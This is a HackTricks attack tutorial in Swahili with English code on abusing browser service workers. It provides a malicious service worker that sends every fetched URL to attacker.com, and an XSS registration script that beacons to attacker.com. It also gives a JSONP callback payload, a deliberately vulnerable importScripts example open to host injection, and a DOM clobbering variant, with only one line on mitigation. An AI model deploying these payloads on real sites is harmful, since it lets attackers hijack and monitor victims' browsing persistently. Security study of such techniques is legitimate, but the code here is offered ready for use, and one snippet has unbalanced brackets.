Abusing Service Workers

Reading time: 5 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Basic Information

A service worker ni script inayotendewa na kivinjari chako katika mandharinyuma, tofauti na ukurasa wowote wa wavuti, ikiruhusu vipengele ambavyo havihitaji ukurasa wa wavuti au mwingiliano wa mtumiaji, hivyo kuboresha uwezo wa kazi za nje ya mtandao na mandharinyuma. Taarifa za kina kuhusu service workers zinaweza kupatikana hapa. Kwa kutumia service workers ndani ya eneo la wavuti lenye udhaifu, washambuliaji wanaweza kupata udhibiti juu ya mwingiliano wa mwathirika na kurasa zote ndani ya eneo hilo.

Checking for Existing Service Workers

Service workers waliopo wanaweza kuangaliwa katika sehemu ya Service Workers ya tab ya Application katika Developer Tools. Njia nyingine ni kutembelea chrome://serviceworker-internals kwa mtazamo wa kina zaidi.

Push Notifications

Ruhusa za arifa za kusukuma zinaathiri moja kwa moja uwezo wa service worker kuwasiliana na seva bila mwingiliano wa moja kwa moja wa mtumiaji. Ikiwa ruhusa zimeshindwa, inapunguza uwezo wa service worker kuleta tishio la kudumu. Kinyume chake, kutoa ruhusa huongeza hatari za usalama kwa kuruhusu kupokea na kutekeleza exploit zinazoweza kutokea.

Attack Creating a Service Worker

Ili kutumia udhaifu huu unahitaji kutafuta:

  • Njia ya kupakia faili za JS zisizo na mipaka kwenye seva na XSS ili kupakia service worker wa faili ya JS iliyopakiwa
  • Omba la JSONP lenye udhaifu ambapo unaweza kubadilisha matokeo (kwa kutumia msimbo wa JS usio na mipaka) na XSS ili kupakia JSONP yenye payload ambayo it pakiwa service worker mbaya.

Katika mfano ufuatao nitawasilisha msimbo wa kujiandikisha service worker mpya ambayo itasikiliza tukio la fetch na it tuma kwa seva ya washambuliaji kila URL iliyopatikana (hiki ndicho msimbo unahitaji kupakia kwenye seva au kupakia kupitia jibu la JSONP lenye udhaifu):

javascript
self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});

Na hii ndiyo code itakayoweza kujiandikisha mfanyakazi (code unapaswa kuwa na uwezo wa kuendesha kwa kutumia XSS). Katika kesi hii, ombi la GET litatumwa kwa seva ya washambuliaji kuarifu ikiwa kujiandikisha kwa mfanyakazi wa huduma kulifanikiwa au la:

javascript
<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>

Katika kesi ya kutumia mwisho wa JSONP ulio na udhaifu, unapaswa kuweka thamani ndani ya var sw. Kwa mfano:

javascript
var sw =
"/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//"

Kuna C2 iliyojitolea kwa ku exploit Service Workers inayoitwa Shadow Workers ambayo itakuwa muhimu sana katika kutumia udhaifu huu.

Mwelekeo wa cache wa masaa 24 unakadiria maisha ya service worker (SW) mbaya au iliyovunjika kuwa masaa 24 tu baada ya kurekebisha udhaifu wa XSS, ikichukuliwa kuwa hali ya mteja mtandaoni. Ili kupunguza udhaifu, waendeshaji wa tovuti wanaweza kupunguza Wakati wa Kuishi (TTL) wa skripti ya SW. Wanakuza pia wanashauriwa kuunda service worker kill-switch kwa ajili ya kuzima haraka.

Kutumia importScripts katika SW kupitia DOM Clobbering

Kazi importScripts inayoitwa kutoka kwa Service Worker inaweza kuagiza skripti kutoka kwa kikoa tofauti. Ikiwa kazi hii itaitwa kwa kutumia parameta ambayo mshambuliaji anaweza kubadilisha, ataweza kuagiza skripti ya JS kutoka kikoa chake na kupata XSS.

Hii hata inapita ulinzi wa CSP.

Mfano wa msimbo ulio hatarini:

  • index.html
html
<script>
navigator.serviceWorker.register(
"/dom-invader/testcases/augmented-dom-import-scripts/sw.js" +
location.search
)
// attacker controls location.search
</script>
  • sw.js
javascript
const searchParams = new URLSearchParams(location.search)
let host = searchParams.get("host")
self.importScripts(host + "/sw_extra.js")
//host can be controllable by an attacker

Na DOM Clobbering

Kwa maelezo zaidi kuhusu kile DOM Clobbering ni angalia:

{{#ref}} dom-clobbering.md {{#endref}}

Ikiwa URL/domain ambayo SW inatumia kuita importScripts iko ndani ya kipengele cha HTML, ni uwezekano wa kuibadilisha kupitia DOM Clobbering ili kufanya SW ipakue script kutoka kwa domain yako mwenyewe.

Kwa mfano wa hili angalia kiungo cha rejea.

Marejeo

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks